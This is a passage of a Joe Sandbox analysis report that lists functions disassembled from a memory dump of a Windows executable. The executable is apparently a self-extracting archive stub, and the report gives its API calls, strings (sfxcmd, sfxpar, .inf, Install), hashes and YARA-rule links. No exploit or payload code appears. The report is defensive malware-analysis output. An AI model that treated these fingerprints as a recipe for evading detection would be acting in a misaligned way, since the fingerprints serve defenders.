API String ID:
Opcode ID: 5b628a92f811a5eae6f4b0ca0e3bf09709b45c566e4e75254577d1b926f4d6b6
Instruction ID: a982e3c7dddab81b7ab5a77e8f2621a5a8a2806f541af097abcdcd5df014c63f
Opcode Fuzzy Hash: 5b628a92f811a5eae6f4b0ca0e3bf09709b45c566e4e75254577d1b926f4d6b6
Instruction Fuzzy Hash: E222E372E0EA5282FA2C8F14985117DA690FF4275CF392135DA5DD76D4EE3FE8018BA0

Function 00007FF6063A5390 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 195
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DloadAcquireSectionWriteAccess.DELAYIMP ref: 00007FF6063A53B5

Part of subcall function 00007FF6063A4FE8: DloadProtectSection.DELAYIMP ref: 00007FF6063A5059

RaiseException.KERNEL32 ref: 00007FF6063A5437
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF6063A5423

Part of subcall function 00007FF6063A52F8: DloadProtectSection.DELAYIMP ref: 00007FF6063A5357

LoadLibraryExA.KERNELBASE ref: 00007FF6063A54D6
GetLastError.KERNEL32 ref: 00007FF6063A54E4
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF6063A5516
RaiseException.KERNEL32 ref: 00007FF6063A552A

Strings

H, xrefs: 00007FF6063A5404

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: DloadSection$AccessWrite$ExceptionProtectRaiseRelease$AcquireErrorLastLibraryLoad
String ID: H
API String ID: 282135826-2852464175
Opcode ID: 1ba3ac7ad01aad9b5bbf5288423d8bdca45e536d0fe216ed71dd1fdc31554d99
Instruction ID: 90f4469d9f6513964bfd329cb6311fa1feb75fc735307b3bfc2d42dc76d02091
Opcode Fuzzy Hash: 1ba3ac7ad01aad9b5bbf5288423d8bdca45e536d0fe216ed71dd1fdc31554d99
Instruction Fuzzy Hash: 4F916A32A15B528AEF08CF65D8442AC73B1BF08798B646435DE0E97B54EF3AE444C780

Function 00007FF606389CDC Relevance: 25.2, APIs: 3, Strings: 11, Instructions: 702COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF606389254: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF606389389

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF60638A375
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638A82F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638A835

Part of subcall function 00007FF60639033C: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF606389CBA), ref: 00007FF606390369

Strings

, xrefs: 00007FF60638A1F9
,, xrefs: 00007FF60638A3AA
@%s:, xrefs: 00007FF60638A357
*messages***, xrefs: 00007FF60638A004
STRINGS, xrefs: 00007FF60638A1C1
RTL, xrefs: 00007FF60638A32E
DIRECTION, xrefs: 00007FF60638A1E5
$%s:, xrefs: 00007FF60638A350
*messages***, xrefs: 00007FF606389FC6
DIALOG, xrefs: 00007FF60638A1CD
MENU, xrefs: 00007FF60638A1D9

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ByteCharConcurrency::cancel_current_taskMultiWide_snwprintf
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS
API String ID: 3629253777-3268106645
Opcode ID: 87966f23d4e29822f34e3fcc0e0a882ae27015c9125862882d54e96057c8a0e0
Instruction ID: 6ab9c136574e5b3c09c002c848b8b64eea10003c288a2f43579b0ec66599e006
Opcode Fuzzy Hash: 87966f23d4e29822f34e3fcc0e0a882ae27015c9125862882d54e96057c8a0e0
Instruction Fuzzy Hash: 8E62C362A1978299EB18DF28D4442FD6361FF40784FA06132DA4DC7AE5EFBEE545C380

Function 00007FF6063A3030 Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 285
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32 ref: 00007FF6063A3297
ShowWindow.USER32 ref: 00007FF6063A32D6
GetExitCodeProcess.KERNEL32 ref: 00007FF6063A330D
CloseHandle.KERNEL32 ref: 00007FF6063A3337
ShowWindow.USER32 ref: 00007FF6063A338F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A344B

Strings

.inf, xrefs: 00007FF6063A31C5
p, xrefs: 00007FF6063A3079
.exe, xrefs: 00007FF6063A3342
Install, xrefs: 00007FF6063A31D4

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ShowWindow$CloseCodeExecuteExitHandleProcessShell_invalid_parameter_noinfo_noreturn
String ID: .exe$.inf$Install$p
API String ID: 1054546013-3607691742
Opcode ID: 0ccde82e90eecccb9c1d6a00cceea7fcf12badbd4a71c34f7908ccaf6dc484b3
Instruction ID: ae0e25b321813ba588994620b1ae76e8de0ab2930e1c4ddece79128023b88900
Opcode Fuzzy Hash: 0ccde82e90eecccb9c1d6a00cceea7fcf12badbd4a71c34f7908ccaf6dc484b3
Instruction Fuzzy Hash: 8FC18B32B1CA4285FF18DB65D9442BD23B1AF85B80F246035DA4EC77A4EF3EE8559380

Function 00007FF6063A2BF4 Relevance: 16.6, APIs: 11, Instructions: 102
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF60639E96C: PeekMessageW.USER32 ref: 00007FF60639E982
Part of subcall function 00007FF60639E96C: GetMessageW.USER32 ref: 00007FF60639E999
Part of subcall function 00007FF60639E96C: IsDialogMessageW.USER32 ref: 00007FF60639E9B0
Part of subcall function 00007FF60639E96C: TranslateMessage.USER32 ref: 00007FF60639E9BF
Part of subcall function 00007FF60639E96C: DispatchMessageW.USER32 ref: 00007FF60639E9CA

GetDlgItem.USER32 ref: 00007FF6063A2C33
ShowWindow.USER32 ref: 00007FF6063A2C59
SendMessageW.USER32 ref: 00007FF6063A2C6E
SendMessageW.USER32 ref: 00007FF6063A2C86
SendMessageW.USER32 ref: 00007FF6063A2CA7
SendMessageW.USER32 ref: 00007FF6063A2CC3
SendMessageW.USER32 ref: 00007FF6063A2D06
SendMessageW.USER32 ref: 00007FF6063A2D24
SendMessageW.USER32 ref: 00007FF6063A2D38
SendMessageW.USER32 ref: 00007FF6063A2D62
SendMessageW.USER32 ref: 00007FF6063A2D7A

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID:
API String ID: 3569833718-0
Opcode ID: 5ff2d565dfc5db30faf5757a2f3953a4f42f62c0c62e185934d8e45e8a36dc63
Instruction ID: 8ee37c24c70e951bd7dcd70a3b106c9263debc331fd25d92991911ede0315f5e
Opcode Fuzzy Hash: 5ff2d565dfc5db30faf5757a2f3953a4f42f62c0c62e185934d8e45e8a36dc63
Instruction Fuzzy Hash: 8A411539B1468246F718CF61E800BAE3360EB45B98F646135DD0A87BD4CF7FD9458790

Function 00007FF60639218C Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 7
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF606392197

Strings

zip, xrefs: 00007FF606392F37
zx01, xrefs: 00007FF606392DF9
z01, xrefs: 00007FF606392E00
zipx, xrefs: 00007FF606392F30
map/set too long, xrefs: 00007FF606392190
AES-0017, xrefs: 00007FF606392803

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: AES-0017$map/set too long$z01$zip$zipx$zx01
API String ID: 909987262-704999473
Opcode ID: 279821ddad5ca0a3171316fe86be340fa28ecb032434c2a7f18e4b4bd5f06c06
Instruction ID: cd2dd3422bb912572d3d824fd08a2ee0ea4f45db9e6a78f0ab80b0db309bc594
Opcode Fuzzy Hash: 279821ddad5ca0a3171316fe86be340fa28ecb032434c2a7f18e4b4bd5f06c06
Instruction Fuzzy Hash: 10B0122890450EC0D43CA7808C450A40310CB54700FB03C30C31CCFC520D3EB0424243

Function 00007FF6063846A0 Relevance: 9.2, APIs: 6, Instructions: 164
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF60638477B
GetLastError.KERNEL32 ref: 00007FF60638478E
CreateFileW.KERNEL32 ref: 00007FF6063847EE
GetLastError.KERNEL32 ref: 00007FF6063847F7
SetFileTime.KERNEL32 ref: 00007FF6063848A9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606384916

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: File$CreateErrorLast$Time_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3536497005-0
Opcode ID: f2a95c046f384fb88cb42bad2343db76857be23356c2a59daf525ee97aa7854a
Instruction ID: 923ab4a6aaf9be804d910102bff16ab68ac9288b7d93f22d7cbd631e1650564d
Opcode Fuzzy Hash: f2a95c046f384fb88cb42bad2343db76857be23356c2a59daf525ee97aa7854a
Instruction Fuzzy Hash: B961F976A1878185E7288B29E54036E67A1F7857B8F202334DF6D83AE5DF7ED054C780

Function 00007FF60638E7C0 Relevance: 9.1, APIs: 6, Instructions: 80
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToFileTime.KERNEL32 ref: 00007FF60638E824

Part of subcall function 00007FF606386768: GetVersionExW.KERNEL32 ref: 00007FF606386799

LocalFileTimeToFileTime.KERNEL32 ref: 00007FF60638E846
FileTimeToSystemTime.KERNEL32 ref: 00007FF60638E852
TzSpecificLocalTimeToSystemTime.KERNELBASE ref: 00007FF60638E862
SystemTimeToFileTime.KERNEL32 ref: 00007FF60638E870
SystemTimeToFileTime.KERNEL32 ref: 00007FF60638E87E

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 7415bec7d798ad501b197d19bbfbfb4fb824aa0f8bac73e46940edbbb5db9b65
Instruction ID: 89bf90f96cae7bf7c29ac993ea95c20b552a53de257a8353d242c57b06723207
Opcode Fuzzy Hash: 7415bec7d798ad501b197d19bbfbfb4fb824aa0f8bac73e46940edbbb5db9b65
Instruction Fuzzy Hash: FA311962B10A51DEFB04CFB5D8801AC7770FB18758B64602AEF0EA7A68EF38D595C744

Function 00007FF6063A3810 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNEL32 ref: 00007FF6063A3847
SetEnvironmentVariableW.KERNELBASE ref: 00007FF6063A38C0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A391F

Strings

sfxcmd, xrefs: 00007FF6063A3840
sfxpar, xrefs: 00007FF6063A38B9

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: EnvironmentVariable$_invalid_parameter_noinfo_noreturn
String ID: sfxcmd$sfxpar
API String ID: 3540648995-3493335439
Opcode ID: 5a57c69db1c650ffc0109058ee75098a0d594147db01f3cd247ccf932cb967a8
Instruction ID: 890e6c047d1896581ad0eea8974c8fc778145e776c10daebc527728c20bb8003
Opcode Fuzzy Hash: 5a57c69db1c650ffc0109058ee75098a0d594147db01f3cd247ccf932cb967a8
Instruction Fuzzy Hash: FB316F72E14B5684FF088B69D8841AC6371EB44B98F242135DE5ED7AA9CE39D185C380

Function 00007FF60639EB64 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadBitmapW.USER32 ref: 00007FF60639EB7A
GetObjectW.GDI32 ref: 00007FF60639EBAB
DeleteObject.GDI32 ref: 00007FF60639EBE5
DeleteObject.GDI32 ref: 00007FF60639EC15

Part of subcall function 00007FF60639C260: FindResourceExW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00001000,00007FF6063A4517), ref: 00007FF60639C279
Part of subcall function 00007FF60639C260: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF6063A4517), ref: 00007FF60639C295
Part of subcall function 00007FF60639C260: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF6063A4517), ref: 00007FF60639C2AF
Part of subcall function 00007FF60639C260: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF6063A4517), ref: 00007FF60639C2C1
Part of subcall function 00007FF60639C260: GlobalAlloc.KERNELBASE ref: 00007FF60639C2E2
Part of subcall function 00007FF60639C260: GlobalLock.KERNEL32 ref: 00007FF60639C2F7
Part of subcall function 00007FF60639C260: CreateStreamOnHGlobal.COMBASE ref: 00007FF60639C324
Part of subcall function 00007FF60639C260: GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF60639C3A5
Part of subcall function 00007FF60639C260: GlobalUnlock.KERNEL32 ref: 00007FF60639C3C8
Part of subcall function 00007FF60639C260: GlobalFree.KERNEL32 ref: 00007FF60639C3D1

Strings

], xrefs: 00007FF60639EBB3

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: Global$Resource$Object$BitmapCreateDeleteLoadLock$AllocFindFreeFromGdipSizeofStreamUnlock
String ID: ]
API String ID: 1797374341-3352871620
Opcode ID: 4bf2bc35f3b21ea03de476389abc0e83db34e9447328c44d88c742213a9449e8
Instruction ID: e764a1556612846481d70e271ebed92a8bcece19c25f17c55707e67ec2ce9fb4
Opcode Fuzzy Hash: 4bf2bc35f3b21ea03de476389abc0e83db34e9447328c44d88c742213a9449e8
Instruction Fuzzy Hash: F411B920B0D74641EA1CDB51D65427953A1EF89BC8F682034DD4E87BC9EE3EEC048EA0

Function 00007FF60639E96C Relevance: 7.5, APIs: 5, Instructions: 27
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32 ref: 00007FF60639E982
GetMessageW.USER32 ref: 00007FF60639E999
IsDialogMessageW.USER32 ref: 00007FF60639E9B0
TranslateMessage.USER32 ref: 00007FF60639E9BF
DispatchMessageW.USER32 ref: 00007FF60639E9CA

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: e45bfd896b69646a0b5eeb10867a712a562e5ff66da3ebe7d8c5d592be84918c
Instruction ID: 86fa8839dbafd1997213c79e797dfcfede5c2c931cd79b874171ae9880e23472
Opcode Fuzzy Hash: e45bfd896b69646a0b5eeb10867a712a562e5ff66da3ebe7d8c5d592be84918c
Instruction Fuzzy Hash: 68F09626B3855282FB98DBA0F855B362361FFD0709F907035E64EC1894EF6DD508CB50

Function 00007FF6063953BC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639568F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606395695

Part of subcall function 00007FF606386288: FindClose.KERNELBASE(?,?,?,00007FF60638FFA5), ref: 00007FF6063862BD

Part of subcall function 00007FF606391DD0: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF606391E25

Strings

zip, xrefs: 00007FF6063954C3
zipx, xrefs: 00007FF6063954BC

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseFindswprintf
String ID: zip$zipx
API String ID: 2713956076-1268445101
Opcode ID: 0c43c1b66e07d995b1cbb6a2f2b962e78e60540c5e6c8088aa3c6015e6fa861f
Instruction ID: 0cbf821f6ab5cffc6f3e156aace09b5ba89f829ef1db94506b2e7ae77d2b68eb
Opcode Fuzzy Hash: 0c43c1b66e07d995b1cbb6a2f2b962e78e60540c5e6c8088aa3c6015e6fa861f
Instruction Fuzzy Hash: 2781C362F09B0285FA18DB65E8441BC2361EF44BA8F607235DE1D937D5EE3EE486C790

Function 00007FF60639CE24 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

GetClassNameW.USER32 ref: 00007FF60639CE4D
SHAutoComplete.SHLWAPI ref: 00007FF60639CE91

Part of subcall function 00007FF606390AA0: CompareStringW.KERNEL32(?,?,00007FF606386C19), ref: 00007FF606390ABF

FindWindowExW.USER32 ref: 00007FF60639CE7B

Strings

EDIT, xrefs: 00007FF60639CE57, 00007FF60639CE6F

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 97649a043c3252f54d481027b362a8cb3c0219486fdf1255c1e6258ed32498fa
Instruction ID: 8c54e850fe4fb407c46767deb4db424484899b65224e85824b844e033f305dd3
Opcode Fuzzy Hash: 97649a043c3252f54d481027b362a8cb3c0219486fdf1255c1e6258ed32498fa
Instruction Fuzzy Hash: 8201A961F08A4741FF289721F821775A350FF98754F543035C94E87695EF6ED544CBA0

Function 00007FF606384E18 Relevance: 6.1, APIs: 4, Instructions: 136fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF606384E5A
WriteFile.KERNEL32 ref: 00007FF606384EA4
WriteFile.KERNELBASE ref: 00007FF606384ED2

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 407f625d59d604b924eb6a4f57d6f6a75d77dcc3e5834d4536d90adbb701eae7
Instruction ID: 5f928d0adbae1934edcfb11342f9ad345fdfec7466dc00576ad2a355813a35f7
Opcode Fuzzy Hash: 407f625d59d604b924eb6a4f57d6f6a75d77dcc3e5834d4536d90adbb701eae7
Instruction Fuzzy Hash: 2B51FA22B19B4396EA58CB15D5443B96390FF54B94F203135EA0EC7AE5DF7EE444C380

Function 00007FF606390120 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32 ref: 00007FF6063A3E0E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A3E79
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A3E7F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A3E85

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$TextWindow
String ID:
API String ID: 2912839123-0
Opcode ID: 7694a187f42c39eb567f0629a824896409d32d05266dde82731a683b3aad9840
Instruction ID: 9320feddda3ee4e5460d6edeedc7564ed141f28c385970fe14807d137df2f080
Opcode Fuzzy Hash: 7694a187f42c39eb567f0629a824896409d32d05266dde82731a683b3aad9840
Instruction Fuzzy Hash: DA51AE72F1479184FF089BA5D8452AD2322AF44BA4F602636DA1C97BE6DE7EE440D380

Function 00007FF6063A653C Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

